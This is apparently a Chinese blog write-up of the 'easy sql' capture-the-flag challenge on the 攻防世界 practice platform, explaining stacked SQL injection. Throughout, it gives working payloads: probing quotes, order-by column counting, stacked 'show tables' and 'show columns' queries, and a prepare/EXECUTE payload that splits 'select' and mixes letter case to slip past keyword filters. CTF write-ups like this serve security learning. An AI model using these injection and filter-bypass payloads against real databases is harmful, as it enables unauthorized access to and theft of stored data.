攻防世界 easy sql 堆叠注入

  网上借鉴的一篇博客如下

https://blog.csdn.net/zzq19860626/article/details/10220427             !!!!!!!!一个sql注入语法的博客

 

1.输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了

 

 

 

2.order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用union select进行联合查询,发现关键字被正则过滤

 

 

 

3.尝试堆叠注入

-1';show tables --+

 

 

 

4.查看字段,

-1';show columns from `1919810931114514` --+

-1';show columns from `words` --+

 

 

 

 

5.查看值,需要绕过select的限制,我们可以使用预编译的方式

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:

-1';

set @sql = CONCAT('se','lect * from `1919810931114514`;');

prepare stmt from @sql;

EXECUTE stmt; #

 

 

 

6.这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

 

 ‘

posted @ 2020-12-04 12:59  ctfliar  阅读(1309)  评论(0)    收藏  举报